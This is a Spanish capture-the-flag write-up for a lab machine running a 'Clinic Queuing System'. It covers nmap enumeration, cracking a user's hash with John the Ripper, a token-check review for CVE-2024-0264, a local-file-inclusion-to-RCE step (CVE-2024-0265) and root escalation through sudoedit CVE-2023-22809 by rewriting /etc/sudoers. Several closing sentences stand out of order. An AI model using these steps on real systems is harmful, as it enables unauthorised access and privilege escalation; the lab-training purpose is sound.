Iniciamos desplegando nuestra maquina con el script auto_deploy:
❯ sudo ./auto_deploy.sh queuemedic.tar
Enumeración
Enumerando con nmap encontraremos el puerto 80 abierto
❯ nmap -p- --open --min-rate 10000 -vv -n -Pn 172.17.0.2 -oG allportScan
PORT STATE SERVICE REASON
80/tcp open http syn-ack
Enumerando mas el puerto abierto encontraremos que se encuentra ejecutándose un servicio web.
❯ nmap -p80 -sV -sC -Pn -vvvv 172.17.0.2 -oN servicesScan
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack Apache httpd 2.4.52 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-title: LOGIN | Clinic Queuing System
|_Requested resource was ./login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.52 (Ubuntu)
Ahora enumeraremos el los directorio del sitio web.
Luego de enumerar encontraremos un directorio db y otro llamado backup.
db
backup
En estos directorios encontraremos un .db y un .zip
Dejando de lado estos archivos y teniendo en cuenta el titulo del sitio web investigaremos un poco en la red
Intrusión
Fail Exploit
Buscando por el titulo encontraremos que el sitio web tiene vulnerabilidades reportadas
Usaremos el siguiente exploit:
Lanzamos el exploit con los parámetros requeridos y no funciona el exploit
SQLite3
Volvemos con los archivos que encontramos, usando sqlite3 podremos leer la base de datos que se encontró
❯ sqlite3 clinic_queuing_db.db
En esta encontramos dos tablas, una patient_list y user_list.
En la tabla user_list encontramos dos usuarios que son admin y jessica. Usando el rockyou.txt no llegamos a ningún lado o al menos lleva mucho tiempo sin poder crackearlo.
Hash Cracking
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Username-anarchy
Para la herramienta username-anarchy necesitamos una user list
❯ ./username-anarchy -i [list_users] > [output]
Usaremos el nombre del usuario jessica que es Jessica Castro.
Haciendo uso de John the Ripper crackeamos el hash de jessica.
La contraseña en texto plano es j.castro.
jessica: j.castro
Esta es si se encuentra en el rockyou, pero se encuentra en la linea 7257681 por lo que si hubiéramos esperado mas tiempo la hubiera encontrado.
Haciendo uso de las credenciales podemos ingresar.
Backup
Vamos a revisar el contenido de backup.zip
❯ unzip backup.zip
En este encontramos una copia del sitio web.
CVE-2024-0264
Revisando el POC anterior encontramos que la causa de la vulnerabilidad es debido a que no se realiza una validación correcta del token.
//LoginRegistration.php
// <SNIPPED>
extract($_POST);
$allowedToken = $_SESSION['formToken']['manage_user'];
if(!isset($formToken) || (isset($formToken) && $formToken != $allowedToken)){
// throw new ErrorException("Security Check: Form Token is valid.");
$resp['status'] = 'failed';
$resp['msg'] = "Security Check: Form Token is invalid.";
}else{
// <SNIPPED>
En el código que encontramos en backup.zip se agrego el || (isset($formToken) && $formToken==='') por lo que esto soluciona el problema de la validación del token.
extract($_POST);
// Retrieving Allowed Token
$allowedToken = $_SESSION['formToken']['login'];
if(!isset($formToken) || (isset($formToken) && $formToken != $allowedToken) || (isset($formToken) && $formToken==='')){
// throw new ErrorException("Security Check: Form Token is valid.");
$resp['status'] = 'failed';
$resp['msg'] = "Security Check: Form Token is invalid.";
}else{
Por lo que la vulnerabilidad no puede ser explotada.
Local File Inclusión to RCE - CVE-2024-0265
En el mismo exploit encontraremos que también el sitio web tiene otra vulnerabilidad que es debido a:
La página del parámetro GET fue puesta de forma insegura dentro de una función php include(). Revisando El código que encontramos en backup.zip vemos que esta vulnerabilidad no ha sido arreglada
Revisamos el exploit y para poder explotar esta vulnerabilidad necesitamos un usuario y contraseña, pero tenemos las credenciales del usuario jessica. Tenemos que tener en cuenta que se hace una validación del token por lo que debemos de hacer uso el token para generado cuando no logeamos.
www-data
Vamos a explotar la vulnerabilidad CVE-2024-0265 por lo que revisaremos el código del exploit.
Tenemos dos peticiones, en una solo comprueba la ejecución de código y en otra sube un archivo rce.php en la ruta actual del sitio web.
Observamos que hace una petición GET pero esta petición tiene que ser cuando el usuario ya inició sesión.
Enumerando encontramos que se tiene un usuario jessica en el servidor.
y haciendo uso de la contraseña que encontramos podemos convertirnos en el usuario jessica
Ahora enumerando los permisos con sudo -l
jessica@5b157fab2c86:/home$ sudo -l
Encontramos que el usuario puede ejecutar sudoedit /var/www/html/* de manera privilegiada.
Buscando un poco sobre como escalar privilegios podremos encontrar esto:
CVE-2023-22809 - root
En el siguiente sitio web encontraremos el POC a detalle:
Esta vulnerabilidad se encuentra en versiones inferiores a 1.10 de sudo y permite editar el contenido de cualquier archivo. Con sudo --version podemos ver la versión
para explotar la vulnerabilidad necesitamos una variable EDITOR pero esta hace uso de un editor.
export EDITOR="vim -- /etc/sudoers"
observamos que el único que esta instalado es nano
export EDITOR="nano -- /etc/sudorers"
ahora debemos ejecutar:
sudo sudoedit /var/www/html/index.php
Ahora debemos de darnos permisos:
jessica ALL=(ALL:ALL) ALL
Luego procederemos a guardar y a ejecutar sudo su con la que podremos convertirnos en root.
Dirigiéndonos al sitio web encontraremos el siguiente contenido un sistema llamado Clinic Queuing System
Decidí cambiar de wordlist, haciendo uso del nombre y apellido del usuario jessica. Usaremos la herramienta .
Podremos encontrar el codigo fuente original en el siguiente sitio web
Por lo que vamos a poner nuestra revershell en urlencode y para ello podemos usar :